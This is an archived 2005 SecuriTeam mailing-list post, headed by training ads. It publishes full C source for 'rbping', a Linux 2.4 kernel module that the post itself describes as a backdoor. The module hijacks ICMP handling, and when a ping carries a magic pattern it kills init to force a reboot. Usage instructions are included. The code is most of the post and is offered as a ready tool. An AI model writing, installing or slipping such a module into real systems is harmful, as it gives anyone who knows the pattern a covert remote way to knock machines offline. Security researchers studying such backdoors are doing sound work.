Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [TOOL] Rbping - Reboot By Ping |
|---|---|
| Date: | 6 Jun 2005 11:21:09 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Rbping - Reboot By Ping ------------------------------------------------------------------------ SUMMARY DETAILS rbping is a kernel module that allows an administrator to add a backdoor that will restart the system whenever it receives a special ping requests. Tool: /* name rbping.c desc: Reboot By Ping type: Linux kernel module author: Edisan <edisan@ghc.ru> usage: ping -p "deadbaba" ip tested: linux-2.4.26 GPL rulez GHC rulez RST rulez */ #define __KERNEL_SYSCALLS__ #define MODULE #define __KERNEL__ #include <linux/version.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/unistd.h> #include <sys/syscall.h> #include <net/icmp.h> #define LKM_VERSION "v0.1" #define LKM_NAME "rbping" #define MAGIC_PATTERN 0xbabaadde int new_icmp_rcv(struct sk_buff *); struct inet_protocol * original_icmp_protocol; struct inet_protocol new_icmp_protocol = { &new_icmp_rcv, NULL, NULL, IPPROTO_ICMP, 0, NULL, "ICMP" }; int new_icmp_rcv(struct sk_buff *skb) { char *data = skb->data+16; if (*(u_long *)data == MAGIC_PATTERN) { extern void *sys_call_table[]; int (*our_kill)(int, int) = sys_call_table[SYS_kill]; printk("<1>%s: reboot requested.\n", LKM_NAME); our_kill(1, 2); } #ifdef DEBUG else printk("<1>%s: icmp pattern rcv: %x\n", LKM_NAME, *(u_long *)data); #endif return original_icmp_protocol->handler(skb); } int init_module(void) { inet_add_protocol(&new_icmp_protocol); original_icmp_protocol = new_icmp_protocol.next; inet_del_protocol(original_icmp_protocol); printk("<1>%s: %s installed\n", LKM_NAME, LKM_VERSION); return 0; } int cleanup_module(void) { inet_add_protocol(original_icmp_protocol); inet_del_protocol(&new_icmp_protocol); printk("<1>%s: %s uninstalled\n", LKM_NAME, LKM_VERSION); return 0; } MODULE_LICENSE("GPL"); /* EOF */ ADDITIONAL INFORMATION The information has been provided by <mailto:foster@ghc.ru> foster@ghc.ru. To keep updated with the tool visit the project's homepage at: <http://ghc.ru/> http://ghc.ru/ ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [EXPL] CrobFTP Remote Stack Overflow (Long Directories, Exploit), SecuriTeam |
|---|---|
| Next by Date: | [TOOL] Multithreaded Broadcast Scanner for Windows, SecuriTeam |
| Previous by Thread: | [EXPL] CrobFTP Remote Stack Overflow (Long Directories, Exploit), SecuriTeam |
| Next by Thread: | [TOOL] Multithreaded Broadcast Scanner for Windows, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |